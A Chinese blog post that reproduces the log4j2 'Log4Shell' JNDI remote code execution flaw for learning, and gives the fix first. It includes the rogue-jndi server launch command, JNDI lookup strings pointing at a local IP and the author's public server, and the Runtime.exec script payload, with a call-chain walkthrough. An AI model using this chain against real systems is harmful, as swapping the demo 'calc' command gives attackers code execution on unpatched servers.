log4j2史诗级漏洞攻击重现

Posted Java小田

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了log4j2史诗级漏洞攻击重现相关的知识,希望对你有一定的参考价值。

早上来到公司,就听到安全团队的同事说log4j2有个高危漏洞
起初并不是很在意,想着一个日志框架能有啥高危漏洞嘛
但是仔细一看,居然是远程执行命令的漏洞,上次看到这个名字还是struts2。。。

修复方法也很简单:升级log4j依赖版本到2.15.0
或者启动参数添加-Dlog4j2.formatMsgNoLookups=true并重启

好奇心驱使之下,向安全的同事请教了怎么重现这个漏洞,顺便记录一下,以便以后学习之用
参考文章:
https://mp.weixin.qq.com/s/l7iclJRegADs3oiEdcgAvQ
https://mp.weixin.qq.com/s/_qA3ZjbQrZl2vowikdPOIg

如果你只是想验证自己的log有没问题,那可以不用往下看了,直接本地运行:
log.info("$jndi:ldap://1.117.178.115:1389/o=tomcat");
(个人的腾讯云服务器,不保证永久有效)

如果会像这样弹出计算器程序,那就说明有问题了

1、本地启动ldap服务

https://github.com/veracode-research/rogue-jndi
下载这个链接的源码进行编译
mvn package -DskipTests

启动命令:

#这里172.19.60.23是我本地的ip
 java -jar target/RogueJndi-1.1.jar -c "calc" -n 172.19.60.23

2、编写log4j程序并运行

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest 
    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String... args) 
        LOGGER.info("$jndi:ldap://172.19.60.23:1389/o=tomcat");
    

依赖引入:

<dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
        </dependency>

注意依赖的引入很关键,我本地是用的spring boot,但是因为spring boot默认是用的logback,所以没法重现。
需要排除掉spring-boot-starter-logging依赖,然后添加spring-boot-starter-log4j2依赖。
这个漏洞在2.15.0已经修复,所以log4j-core的版本要低于2.15.0。
这么一想,这个漏洞好像也没那么严重的

运行以后本地弹出计算器程序,顺利重现

3、大致原理分析

$jndi:ldap://172.19.60.23:1389/o=tomcat
这段日志的打印会触发ldap服务请求
这个请求会返回:
"".getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“javascript”).eval(“java.lang.Runtime.getRuntime().exec(String.fromCharCode(99,97,108,99))”)

代码在rogue-jndi这个工程的artsploit.controllers.Tomcat中:

java.lang.Runtime.getRuntime().exec($command)
这段代码最终会被执行,从而触发远程命令执行

至于这段代码为啥会被执行,需要去啃log4j的源码,大致看了下还挺复杂
关键代码记录如下:

MessagePatternConverter类的format方法:

StrSubstitutor的resolveVariable方法

JndiLookup的lookup方法:

JndiManager的luukup方法:

ldapURLContext的lookup方法:

到这里其实就是jdk的代码了,后面的代码很难看,大致逻辑就是去请求172.19.60.23:1389/o=tomcat这个接口,拿到上面那段payload,然后通过ClasLoader去加载javax.el.ELProcessor,并通过反射执行下面这段代码:


	"".getClass()
	.forName("javax.script.ScriptEngineManager")
	.newInstance()
	.getEngineByName("JavaScript")
	.eval("java.lang.Runtime.getRuntime()
	.exec(String.fromCharCode(99,97,108,99))")

部分代码截图:

以上是关于log4j2史诗级漏洞攻击重现的主要内容,如果未能解决你的问题,请参考以下文章

Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)

Apache Log4j曝史诗级漏洞,Spring boot修复教程

Flink等多组件受影响,Apache Log4j曝史诗级漏洞

Flink等多组件受影响,Apache Log4j曝史诗级漏洞

中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉

Log4j史诗级漏洞,从原理到实战,只用3个实例讲明白